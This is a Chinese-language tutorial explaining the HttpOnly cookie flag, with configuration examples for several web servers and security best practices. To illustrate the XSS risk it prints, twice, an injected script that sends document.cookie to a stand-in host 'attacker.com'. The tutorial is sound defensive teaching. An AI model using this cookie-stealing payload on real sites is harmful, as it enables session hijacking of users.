HTTPOnly 属性详解
一、基本概念
HTTPOnly 是 Cookie 的一个安全属性标志,由微软在 2002 年首次提出,并在现代浏览器中得到广泛支持。
定义
HTTPOnly 是一个布尔值,当设置为 true 时,告诉浏览器禁止 JavaScript 访问该 Cookie,即该 Cookie 只能通过 HTTP/HTTPS 请求头在浏览器与服务器之间自动传递。
二、HTTPOnly vs 普通 Cookie
| 特性 | 普通 Cookie | HTTPOnly Cookie |
|---|---|---|
| JavaScript 访问 | ✅ 可以通过 document.cookie 读取 |
❌ 无法通过 JS 读取 |
| 自动发送 | ✅ 随请求自动发送 | ✅ 随请求自动发送 |
| 服务器读取 | ✅ 可在请求头中获取 | ✅ 可在请求头中获取 |
| XSS 泄露风险 | ⚠️ 存在 | ✅ 受保护 |
| 设置方式 | Set-Cookie: name=value |
Set-Cookie: name=value; HttpOnly |
工作示意
普通Cookie流程:
XSS攻击 → <script>alert(document.cookie)</script> → 攻击者获取完整Cookie
HTTPOnly Cookie流程:
XSS攻击 → <script>alert(document.cookie)</script> → 仅返回空或受限内容
三、工作原理
1. 服务器端设置
Express.js 设置 HTTPOnly Cookie:
javascript
res.cookie('session_id', sessionId, {
httpOnly: true, // 关键:禁止JS访问
secure: true, // 仅HTTPS传输
sameSite: 'strict', // CSRF防护
maxAge: 3600000 // 1小时过期
});
原生 HTTP 响应头:
Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Strict
2. 浏览器处理行为
当浏览器收到带有 HttpOnly 标志的 Cookie 时:
- 存储 - 浏览器正常保存 Cookie
- 标记 - 浏览器内部将该 Cookie 标记为 HTTPOnly
- 限制访问 -
document.cookie无法读取该 Cookie - 正常传输 - 随 HTTP/HTTPS 请求自动发送到服务器
四、防范 XSS 攻击的具体机制
XSS 攻击场景(无 HTTPOnly)
html
<!-- 恶意注入的评论 -->
<p>很好听!<script>
// 窃取所有Cookie
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script></p>
此时攻击者可以获取:
javascript
// document.cookie 输出示例
"auth_code=uaG2ITHz3XqDxeg8WgEreDxR81mfDTNcqsCoBkFZc9KdBmcyeVDIrD0R66PpzMlm"
HTTPOnly 保护机制
html
<!-- 恶意注入的评论 -->
<p>很好听!<script>
// 尝试窃取Cookie
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script></p>
由于 Cookie 设置了 HttpOnly,此时:
javascript
// document.cookie 输出示例
"" // HTTPOnly Cookie被隐藏
攻击失败原因
| 攻击步骤 | 普通Cookie | HTTPOnly Cookie |
|---|---|---|
| JS 尝试读取 | ✅ 成功获取 | ❌ 返回空字符串 |
| 发送到攻击者服务器 | ✅ 成功 | ❌ Cookie未包含 |
| 服务器端获取 | ✅ 完整Cookie | ❌ 无意义数据 |
五、不同 Web 服务器的配置方式
1. Express.js(已使用)
javascript
// 使用 cookie-parser
app.use(cookieParser());
// 设置 HTTPOnly Cookie
app.get('/login', (req, res) => {
res.cookie('token', 'abc123', {
httpOnly: true,
secure: true,
sameSite: 'strict'
});
});
// 不使用 cookie-parser,手动设置
app.get('/login', (req, res) => {
res.setHeader('Set-Cookie',
'token=abc123; HttpOnly; Secure; SameSite=Strict; Path=/'
);
});
2. Nginx
nginx
# 在 location 块中设置
location / {
# 代理到后端时保护 Set-Cookie 头
proxy_cookie_path / /;
proxy_hide_header X-Powered-By;
}
# 或者在响应头中直接添加(如果 Nginx 生成Cookie)
add_header Set-Cookie "session=abc123; HttpOnly; Secure; SameSite=Strict";
3. Apache (.htaccess)
apache
# 保护所有Cookie
Header edit Set-Cookie ^(.*)$ "$1; HttpOnly; Secure; SameSite=Strict"
# 或者使用 mod_headers
<IfModule mod_headers.c>
Header set Set-Cookie "HttpOnly; Secure; SameSite=Strict"
</IfModule>
4. 原生 Node.js HTTP
javascript
const http = require('http');
const server = http.createServer((req, res) => {
res.writeHead(200, {
'Set-Cookie': 'session_id=abc123; HttpOnly; Secure; SameSite=Strict',
'Content-Type': 'text/html'
});
res.end('OK');
});
5. PHP
php
<?php
// 方式1: setcookie()
setcookie('session_id', 'abc123', [
'httponly' => true,
'secure' => true,
'samesite' => 'Strict',
'path' => '/',
'expires' => time() + 3600
]);
// 方式2: header()
header('Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Strict; Path=/');
?>
六、浏览器兼容性
| 浏览器 | 版本要求 | 支持情况 |
|---|---|---|
| Chrome | 1.0+ | ✅ 完全支持 |
| Firefox | 3.0+ | ✅ 完全支持 |
| Safari | 4.0+ | ✅ 完全支持 |
| Edge | 12+ | ✅ 完全支持 |
| IE | 6+ (部分) | ⚠️ 有限支持 |
| Opera | 11+ | ✅ 完全支持 |
| 移动端 Safari | 4.0+ | ✅ 完全支持 |
| Android Browser | 2.3+ | ✅ 完全支持 |
注意: IE 6-7 对 HTTPOnly 的支持不完整,可能被某些 XSS 攻击绕过。
七、最佳实践与注意事项
1. 始终结合 Secure 标志使用
javascript
// ✅ 正确:同时设置 HttpOnly 和 Secure
res.cookie('token', value, {
httpOnly: true, // 防止XSS
secure: true // 仅HTTPS传输
});
// ❌ 错误:仅HttpOnly,HTTP连接仍可能泄露
res.cookie('token', value, {
httpOnly: true
// 缺少 secure 标志
});
2. 敏感信息绝不依赖客户端存储
| 数据类型 | 存储位置 | 原因 |
|---|---|---|
| 会话ID | HTTPOnly Cookie | ✅ 安全 |
| 认证Token | HTTPOnly Cookie | ✅ 安全 |
| 用户偏好 | LocalStorage | ⚠️ 可接受 |
| 敏感数据 | LocalStorage | ❌ 风险高 |
3. SameSite 配合使用
javascript
res.cookie('session', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict' // 防止CSRF
});
SameSite 选项:
Strict- 仅同站请求携带Lax- 宽松模式(默认)None- 允许跨站(需配合 Secure)
4. 不要过度依赖 HTTPOnly
HTTPOnly 只防护 XSS 窃取 Cookie,不能防护:
| 攻击类型 | HTTPOnly 能否防护 |
|---|---|
| XSS 窃取 Cookie | ✅ 可以 |
| CSRF 攻击 | ❌ 需配合 SameSite/Token |
| 网络窃听(HTTP) | ❌ 需配合 Secure |
| 服务器日志泄露 | ❌ 需其他手段 |
| 物理访问设备 | ❌ 需全盘加密 |
5. 完整的认证架构建议
┌─────────────────────────────────────────────────────┐
│ 防御层次 │
├─────────────────────────────────────────────────────┤
│ 1. HTTPS 加密传输 (Secure) │
│ 2. HttpOnly 防XSS窃取 │
│ 3. SameSite 防CSRF │
│ 4. 会话过期机制 │
│ 5. 服务端会话验证 │
│ 6. 异常登录检测 │
└─────────────────────────────────────────────────────┘
八、测试验证
检查 Cookie 是否设置成功
浏览器开发者工具查看:
Chrome DevTools → Application → Cookies → 查看 HttpOnly 列
使用 curl 验证:
bash
# 查看响应头中的 Set-Cookie
curl -I https://yourserver.com
# 输出应包含:
# Set-Cookie: session_id=xxx; HttpOnly; Secure; SameSite=Strict
JavaScript 验证:
javascript
// 在浏览器控制台执行
console.log(document.cookie); // HTTPOnly Cookie 不会显示
总结
HTTPOnly 是 Web 安全防线的重要组成部分,它通过浏览器机制从根本上阻断 JavaScript 访问 Cookie 的路径,从而有效防止 XSS 攻击导致的会话窃取。但真正的安全需要多层防御的配合,包括 HTTPS 加密、CSRF 防护、会话管理等机制的协同工作。